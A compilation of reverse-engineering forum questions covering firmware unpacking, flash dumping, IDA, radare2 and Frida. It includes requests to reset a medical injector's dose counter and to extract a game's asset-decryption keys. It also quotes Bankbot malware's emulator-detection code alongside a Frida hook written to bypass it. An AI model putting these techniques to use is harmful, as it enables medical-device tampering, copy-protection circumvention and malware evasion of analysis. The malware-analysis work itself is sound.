I am presuming that from the binwalk output the file system is ecosFS from the line:

```<code>768           0x300           eCos RTOS string reference: "eCosFS"
</code>```

I have done some research and I see ecosfs is a file system and possibly related to Yffs which I believe Firmware Modification Kit was capable of, but this is the first I have heard of this file system. Can anyone advise what can be done to unpack and repack a firmware like this, are there any tools specific to ecosfs that are necessary?

I have literally turned google purple trying to wrap my head around this and could do with a push in the right direction.

Update 03-08-2017
I can now see (maybe more understand), that the original extraction using binwalk gave me a 7zip file of the LZMA data 6223D.7z. I have extracted this file and I have a data file. If I run binwalk on this I see more  mention of eCos, VxWorks and little/big endian. This would lead me to suspect I am getting further.

Title: RE Tplink TD-W8960N V7


问:
Trying to read/write an Renesas's M30626FHPGP flash memory
I need to make a little introduction: I'm a 37 years old man who is affected by multiple sclerosis. My neurologist gave me Rebif 44 (44mg) as a treatment. I started at full dose and went on for, roughly, a year, but it become clear that I could not go on like that as my immune system would go down too much. Taking half the dose is, instead, too little, so switching to Rebiff 22 (22mg) was not an option.

We went to an intermediate dose: 70% of Rebif 44, which translates to 30.8mg.
The question comes because any Rebismart 2 device only gives 72 reduced doses of Rebif 44, which only last for half a year (while, using the injector normally, it could last for 3-5 years). After that, the only option is to have a new injector.
Everyone of these devices are quite costly, at around 500€/$.
Mind: I don't have to pay for them, as it is the government health system that takes care of it.
But it is a waste of money nonetheless.

So, after a couple of injector stashed away, I got more and more interested on how to access the programming of these devices and how, if possible, to reset or reprogram those 72 injections. I could not find any answer on the internet.

So, I tore apart one of the injectors and found out it has the microcontroller said in the title.

Unfortunately I don't have programming skill whatsoever, so I don't even know how and where to start doing these kind of things.

I link a couple of images i took with my cellphone, so anyone can have a look at the motherboard and chips.

Any help would be fantastic.

https://drive.google.com/drive/folders/0B-41ngW_8ao9T2F2NWpLYnFXWGc?usp=sharing


问:
Identify a 320V DC Brushless IC Power MOSFET(?) Driver
I need some help identifying this IC. It comes from a bladeless fan.

It is presumably a 230V Power MOSFET(?) element connected to the FCM8201 Three-Phase Sine-Wave BLDC Motor Controller.

The thick top traces come from a capacitor connected to the rectified 230V AC.

More photos on the EEVBlog Forum.


问:
Android debug server protocol version mismatch
I am trying to debug an arm64 binary in /data/local/tmp of my Android phone. I pushed the /dbgsrv/android_server64 to /data/local/tmp and then adb to the phone:

$ chmod 777 ./android_server64
$ ./android_server64
IDA Android 32-bit remote debug server(ST) v1.20. Hex-Rays (c) 2004-2015
Listening on port #23946...
[1] Accepting connection from 127.0.0.1...

And when I connect to it with IDA, the target outputs:

[1] Incompatible IDA version
[1] Closing connection from 127.0.0.1...

And the host gets an error window:

Incompatible debugging server:
protocol version is 20, expected 21

Do I have to update IDA to get v21 debug servers? Are the updated debug servers posted somewhere?


问:
Unable to use C++ to read memory image file
I'm using winpmem to create a memory image.  I would like to create an interface that would allow a user to search for various patterns in the image.  I'm using C++ to open and read the file but I am not able to dump the contents to standard output.  I have tried to use various data types for the variable declaration that is streamed to standard output but I haven't been able to dump a text representation to the screen.  Here is my code:

include "stdafx.h"

include "iostream"

include "iomanip"

include "fstream"

using namespace std;

int _tmain(int argc, _TCHAR* argv[])

{

double x;

int i = 0;

```<code>ifstream test;

test.open("C:\\Temp\\mem.raw");

if (!test){

cerr << "Unable to open file datafile.txt";

exit(1);   // call system to stop
</code>```

}

```<code>while (test >> x) {

cout << i;

cout << ":";

cout << x;

cout << ",";

i++;
</code>```

}

```<code>test.close();

return 0;
</code>```

}


问:
IDA Pro GDB QEMU Tricore setup
I have added the lines below to IDA 6.95\cfg\gdb_arch.cfg to try to get QEMU Tricore debugging in IDA Pro, using an ARM tutorial as the basis (page 2):

https://www.hex-rays.com/products/ida/support/tutorials/debugging_qemu.pdf

If I have a Tricore disassembly loaded, the debugger menu is not shown. If I have an ARM disassembly loaded, the debugger menu is shown and I can work with the options and start QEMU. The failure point is "cpu tricore" since if I change it to "cpu arm" and load an arm disassembly, the debugger menu appears and through the debugger options I can see my new entry. I just cannot get the menu to appear when a Tricore disassembly is loaded. I have tried cpu name as TRICORE and other variants including the actual CPU type, but the IDA Pro equivalent to "arm" is "tricore" as a CPU type.

```<code>.TRICORE_test
name       QEMU: TRICORE
cpu        tricore
area       DATA RAM     0x80000000:0xDFFFFFFF
area       IO   SYSREGS 0xF0000000:0xFFFFFFFF
initial_sp 0x08000000

cmdline    "$(QEMUPATH)/qemu-system-tricore" $(QEMUFLAGS) -M tricore_testboard -kernel "%e"
</code>```

Title: IDA Pro GDB QEMU Tricore setup


问:
de4dot and Dotfuscator: IL looks different, not DotPeek decompiled code
From the obfuscated to the deobfuscated assemblies, IL code looks different using ILDASM; however, DotPeek decompiled C# code looks exactly the same for both. Any clue why?

The obfuscation software is Dotfuscator. de4dot runs just fine, apparently.


问:
How to perform manual flashing of a bricked device?
I bought a broken Zoom H4n audio recorder, expecting an easy repair. What I got is a little bit over my head. It isn't booting (beyond a certain point) and I can't enter the firmware update tool. I think the firmware update has been interrupted.

So I have hooked up its flash chip (EN29LV160B) to an Arduino and now I can read the contents. I was hoping to actually see some familiar features in the firmware file and in memory, so that I could align them and just write missing bytes manually. But of course it isn't that easy. In fact I don't even know if I have set up and am reading all the lsb ... msb in the right order.

In the firmware.bin file using a hex editor I am occasionally finding things like:

```<code>...M.I.X.E.R. .E.N.A.B.L.E.....O.F.F. . . . . ...O.N. . . . . . ...O.F.F. .
. . . ...+.4.8.V. . . . ...+.2.4.V. . . . ...O.F.F. . . . . ...C.O.M.P.1. .
. ...C.O.M.P.2. . . ...C.O.M.P.3. . . ...L.I.M.I.T.1. . ...L.I.M.I.T.2. . .
...L.I.M.I.T.3. . ...O.F.F. . . . . . . . . . . . . ...C.O.M.P.1.
(.G.E.N.E.R.A.L.). . ...C.O.M.P.2.(.V.O.C.A.L.)`
</code>```

But, not in my chip data.

In my Arduino program I have tried many possible bit inversions and rearrangements, and this yielded the best result (as in few unknown, tab and newline symbols)

```<code>void loop() {
  char reading = 0;

  if (address == 2097152)
    while(1)
      delay(1);

   if (address%16==0){
    Serial.println();
    Serial.print(address);
    Serial.print(" ");
   }

  for (uint8_t i = 0; i < 21; i++)
    digitalWrite(adress[i], bitRead(address, i));

  for (uint8_t i = 0; i < 8; i++)
    bitWrite(reading,i,!digitalRead(inputs[7-i]));

  Serial.print(reading);
  Serial.print(" ");

  address++;
}
</code>```

But the output still has no human-recognizable contents.

Anything else I could try?


问:
What is the current state on Christopher Domas' "killer poke" find?
On 2017-07-22 Christopher Domas (@xoreaxeaxeax) announced a new "killer poke" that he found on some x86 processor:

https://twitter.com/xoreaxeaxeax/status/888702029744324608 (also cf. https://twitter.com/xoreaxeaxeax/status/891005136041943040).

Neither in the Blackhat presentation (https://www.blackhat.com/docs/us-17/thursday/us-17-Domas-Breaking-The-x86-ISA.pdf) nor in the related paper (https://www.blackhat.com/docs/us-17/thursday/us-17-Domas-Breaking-The-x86-Instruction-Set-wp.pdf) this is answered for responsible disclosure reasons. Since then I heard nothing new about this topic.

So I would like to know whether anybody knows what the current state of this potential killer poke find is or whether anybody has tried out his sandsifter tool (https://github.com/xoreaxeaxeax/sandsifter) and could reproduce the killer poke on their processor?


问:
Anti-debug that can broke programm links (branches)?
I met the unknown (for me) method of anti-debugging today, while debugging in IDA Pro. This method delete fast all branches in file and the programm will look similar like on the image:

Also many parts of code became unrecognized bytes, but I can fix this with Make Code command (only code, not branches). What it can be and how I can bypass this? The programm works fine after that, but I can't use breakpoints.


问:
NETGuard vs ILProtector vs AppFuscator
I have some applications with written in VB.NET. I want to protect them for selling them. I want to use a paid protection. What are the order of those protectors from easier to harder ? How hard is each of them ?</p>

Title: NETGuard vs ILProtector vs AppFuscator


问:
Base address and offsets
I've watched a video about finding out static addresses with pointers

Here is an example:

```<code>OFFSET 0
01DE15B4

OFFSET 14
01DE15D0

OFFSET 378
BASE ADDRESS> 01DE8058
</code>```

and the person said, that

After finding the static base address we don't need the other addresses (leading to the base address) just the offsets.

so according to him this would be enough:

```<code>OFFSET 0

OFFSET 14

OFFSET 378
BASE ADDRESS> 01DE8058
</code>```

So basically I just put it any address and add these offsets so I always get to this base address?

What are the preconditions to get with these offsets to that exact address?

Title: Base address and offsets


问:
MSP430 JTAG FUSE
I'm using MSP430 micro controller which support physical fuse for jtag. The problem is I have blown the physical fuse so I can't interact with the controller, is there any way that I can interact with the controller ? </p>

Title: MSP430 JTAG FUSE


问:
radare2 specifying bitfield or enum width
I'm using radare2 to deconstruct a binary blob. When defining bit-field value there seems to be no syntax to specify the width of the field that contains the enum. For instance with a C structure as follows :

```<code>struct mystruct{
   uint32_t myint,
   uint8_t bitfield1,
   uint8_t bitfield2,
   uint8_t bitfield3,
   uint8_t bitfield4
}
</code>```

I would declare the following :

```<code>"td enum byte_enum {bit_8=0x80, bit_7=0x40,bit_6=0x20,bit_5=0x10, bit_4=0x08,bit_3=0x04,bit_2=0x02,bit_1=0x01}"
pf.binary xBBBB myint (byte_enum)bitfield1 (byte_enum)bitfield2 (byte_enum)bitfield3 (byte_enum)bitfield4
</code>```

but each byte gets interpreted as a full 32 bits int (although the offsets only get incremented by 1, which is bewildering me)

```<code>[0x00000000]> px 16
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x00000000  4142 4344 3132 3334 0aff ffff ffff ffff  ABCD1234........
[0x00000000]> pf.binary
     myint : 0x00000000 = 0x44434241
 bitfield1 : 0x00000004 =  bitfield1 (bitfield) = 0x34333231 : bit_1 | bit_5 | bit_6 | 0x200 | 0x1000 | 0x2000 | 0x10000 | 0x20000 | 0x100000 | 0x200000 | 0x4000000 | 0x10000000 | 0x20000000
 bitfield2 : 0x00000005 =  bitfield2 (bitfield) = 0x0a343332 : bit_2 | bit_5 | bit_6 | 0x100 | 0x200 | 0x1000 | 0x2000 | 0x40000 | 0x100000 | 0x200000 | 0x2000000 | 0x8000000
 bitfield3 : 0x00000006 =  bitfield3 (bitfield) = 0xff0a3433 : bit_1 | bit_2 | bit_5 | bit_6 | 0x400 | 0x1000 | 0x2000 | 0x20000 | 0x80000 | 0x1000000 | 0x2000000 | 0x4000000 | 0x8000000 | 0x10000000 | 0x20000000 | 0x40000000 | 0x80000000
 bitfield4 : 0x00000007 =  bitfield4 (bitfield) = 0xffff0a34 : bit_3 | bit_5 | bit_6 | 0x200 | 0x800 | 0x10000 | 0x20000 | 0x40000 | 0x80000 | 0x100000 | 0x200000 | 0x400000 | 0x800000 | 0x1000000 | 0x2000000 | 0x4000000 | 0x8000000 | 0x10000000 | 0x20000000
</code>```

I tried the [1]B syntax but radare2 does not take the right byte, it just truncates the 4-byte value to LSB, which happens to be 3 bytes down if you use big endian (like I do). This may be a bug.


问:
Radare2 project opening
When I open a project r2 -p mypoject I get a bunch of errors with some numbers:

```<code>0
0
Cannot add reference to non-function
Cannot add reference to non-function
1482
</code>```

I use latest version of radare2 from git repository on Arch Linux. This is list of steps to reproduce this bug.

```<code>r2 /bin/ls
> aaa
> Ps myproject
> q
r2 -p myproject
</code>```

Title: Radare2 project opening


问:
What tool is able to analyze/decompile asm execution trace?
I got a trace of the execution from x64dbg and I need to analyze it. The problem is that the trace is quite large and there are quite big chunks of the code that repeat (I assume they are loops).

I would like to have some kind of tool that would be able to produce a graph or perform simple analyze/decompile to group loops into separate blocks and to simplify the flow.

Is there a tool like this or all of this should be done manually?


问:
How to decrypt files given access to the decryption formula (bash) and passwords (Mach-O binary)
I have a decryption formula, the file it links to containing file passwords, and the encrypted files themselves, but I still don't understand how to reverse the process.

Question: Do I need any more information to be able to decrypt the files (if so, what?) + if I am able to decrypt the files, what is the best way to do so?

The steps in the formula are (from the comments in the code):

Assess whether the file is a sound file

```<code>if [ ${FILE##*.} != mp3 ] && [ ${FILE##*.} != wav ] && [ ${FILE##*.} != mov ] ; then
</code>```

XOR non-sound files with passwords based on a separate file (.out)

```<code>echo "encrypt ${FILE}"
mv "$FILE" "${FILE}_"
../tools/pass.out "${FILE}_" "$FILE"
rm "${FILE}_"
</code>```

Change the file name to a hash value or just change the file extension

```<code>MP3_FILENAME=`basename ${FILE}`
DIR_NAME=${FILE%/*.*}/

if [ ${DIR_NAME} != ./tmp/cc/ ] && [ ${DIR_NAME} != ./tmp/dd/ ] ; then
    SHA1=`get_random_mp3_filename ${MP3_FILENAME}`
    mv "${FILE}" "${DIR_NAME}${SHA1#SHA1(${FILE})= }.png"
    echo "${MP3_FILENAME}: ${SHA1}"
else
    mv "${FILE}" "${FILE%.*}.png"
</code>```

The pass.out file (CF FA ED FE) disassembles without issue. I have no idea how it works or how to use it in reverse. I have attached the file below.

pass.out

Apologies in advance if I've made any wrong assumptions or used wrong terminology. Any help, explanations, or pointers to learning resources would be much appreciated!

EDIT: Sorry for the confusion! The files are from the .apk of an Android app. My aim is to decrypt them to common file formats e.g. .png and .mp3. From inspecting the .apk, I believe files are processed in the following ways:
1) Sound files (.wav, .mp3, .mov) in specific folders have their extension changed to .png. I can play them by changing the extension back to the original.
2) All other files are XOR encrypted by running them through the pass.out file. I want to know how to reverse this process.


问:
STL map and map entry structures for IDA/HexRays
I have several binaries (Visual Studio 2005, amd64/x86_64) that I need a portion of each reversed in order to better understand the reasons for their malfunction in certain edge cases (they are long since unmaintained, there is nowhere to get support by now).

These binaries do not make use of 3rd party libraries, only VC++ runtime and Win32 API and hence make heavy use of STL containers.

It was quite easy to create general-purpose IDA struct definitions for things like std::vector or std::string. However, these binaries do have plenty of std::map usages, and well, the way msvc generates assembly for std::maps is particularly annoying.

Namely, the whole binary is stuffed with countless methods to allocate map entries (one method per map<k, v>), the entries all have different sizes, with the entry structure having the same few fields at the beginning and the end and a variable sized middle part. All the methods that are used on a particular map (e.g. find) are thus then generated with regards to these entry types, so it is a huge pain to manage this.

I can infer the underlying logic in many cases where a map is being accessed, but I still would prefer to have a struct/many structs for better readability, preferably not needing to manually define literally all of the different structs.

If someone could share their own experience/findings related to reversing a large amount of std::maps efficiently, that would be great.


问:
Obtaining the decryption keys for Super Mario Run (Android/iOS Game)
Super Mario Run is a il2cpp Unity game. Most of its assets are downloaded in-game through http requests. I particularly want the OGG files of the music. I can see the list of their names comes from this file.

I know this because it appears before all the requests of the OGGs are made, sadly it and the OGGs are encrypted.

Since Super Mario Run is an il2cpp game, the strings and function names and whatnot are contained in a different file -- "global-metadata.dat". Looking at this file I can see a function named get_OggEncryptionAesKey, as for where this function is and what it returns I cannot find out.

I disassembled the "libil2cpp.so" with IDA, but did not seem to find this function or anything useful.

I believe that the libraries that deal with the encryption might be "libdeal.so" or "libDeALWrapper.so".

Closest I've came was pulling the ogg's from memory, but the best I got was some interface sounds.

Does anyone have any other ideas to decrypt these files?


问:
Attaching to Dalvik static function using Frida in order to disable emulator detection
I have a re-occuring issue with Frida (I'm using Frida and Frida-Server for Android x86_64 ver.: 10.6.11), where I try to hook a function and override its functionality, but for some reason I get stuck and the JS code (or Frida, who knows at this point?) just doesn't seem to catch the function that I really need.

My latest attempt was on the following Android sample (#Bankbot):
https://koodous.com/apks/6276f23997fff26938b08323322c8ae77b9070ac81851f757c16928f86092f20

Now, this piece of Malware has emulator detection built into it. The following code static methods are responsible for detecting the Android Emulator (which I'm using with Frida):

```<code>    // keitev.ebaziueggzxt.q
    public class q {
    // ....
        // detects emulator
        public static boolean c(Context context) {
        //
            if (android.os.Debug.isDebuggerConnected())
            {
                return true;
            }
            // check hardware related properties of the execution environment
            if (b(context))
            {
                return true;
            }
            // create array of used language shorts
            // Region ISOs
            String[] split = "ru|rus|kz|ua|by|az|am|kg|md|tj|tm|uz|us|ca|cs|sk".split("\\|"); //
            //
            String[] split2 = "ru|uk|be|az|hy|ky|mo|ro|tg|tk|uz|cs|sk".split("\\|"); //
            TelephonyManager telephonyManager = (TelephonyManager) context.getSystemService("phone");
            // get getNetworkCountryIso()
            if (Arrays.asList(split).contains(j.a(telephonyManager).toLowerCase())) {
                return true;
            }// getSimCountryIso()
            if (Arrays.asList(split).contains(j.b(telephonyManager).toLowerCase())) {
                return true;
            }
            Object obj;
            String language = Locale.getDefault().getLanguage();
            try {
                obj = (String) String.class.getDeclaredMethod("toLowerCase", new Class[0]).invoke(language, new Object[0]);
            } catch (Exception e) {
                String str = language;
            }
            return Arrays.asList(split2).contains(obj);
        }
   // ...
 }
</code>```

What I tried to do using frida was to find an instance of keitev.ebaziueggzxt.q:

```<code>// DisableEmulatorDetection.js
    Java.perform(function()
            {
                Java.choose('keitev.ebaziueggzxt.q',
                {
                    onMatch:function(keitev_ebaziueggzxt_qInstance)
                    {
                        console.log("[*] Found an instance of keitev.ebaziueggzxt.q" + keitev_ebaziueggzxt_qInstance);
                        var keitev_ebaziueggzxt_qClass = Java.use("keitev.ebaziueggzxt.q");
                        if(typeof keitev_ebaziueggzxt_qClass !== "undefined")
                        {
                            console.log("keitev_ebaziueggzxt_qClass has been loaded!");
                        }

                        keitev_ebaziueggzxt_qClass.c.implementation = function(arg_ctx)
                        {
                            console.log("keitev_ebaziueggzxt_qClass.c called!");
                            return true;
                        }
                    },
                    onComplete:function()
                    {
                        //console.log("Done looking for keitev.ebaziueggzxt.q!");
                    }
                });
            });
</code>```

I tried to use keitev_ebaziueggzxt_qClass.c.overload('android.content.Context').implementation as well. Frida accepted it, but it didn't do anything.
As far as I know static methods don't need to be called from an instantiated object, yet Frida doesn't apply the changes, or if it does, it has no effect on the executing Application.

I tried to execute the code using the following approaches:

Python code:

```<code># bot_instrument.py
import frida
import time

device = frida.get_usb_device()
pid = device.spawn(["keitev.ebaziueggzxt"])
device.resume(pid)
time.sleep(1)
session = device.attach(pid)
script = session.create_script(open('DisableEmulatorDetection.js').read())
script.load()

# stop the script from exiting
input()
</code>```

and by loading the script when the malware is being spawned:

```<code>frida -U -l DisableEmulatorDetection.js keitev.ebaziueggzxt
</code>```

Could anyone explain to me why I can't hook the keitev_ebaziueggzxt_qClass.c static helper function and provide a solution? I'm assuming there are probably two problems with my approach:

The injected code doens't execute when I think it should.

I'm probably hooking the function wrongly.

I am very eager to hear answers from anyone who uses Frida on Android.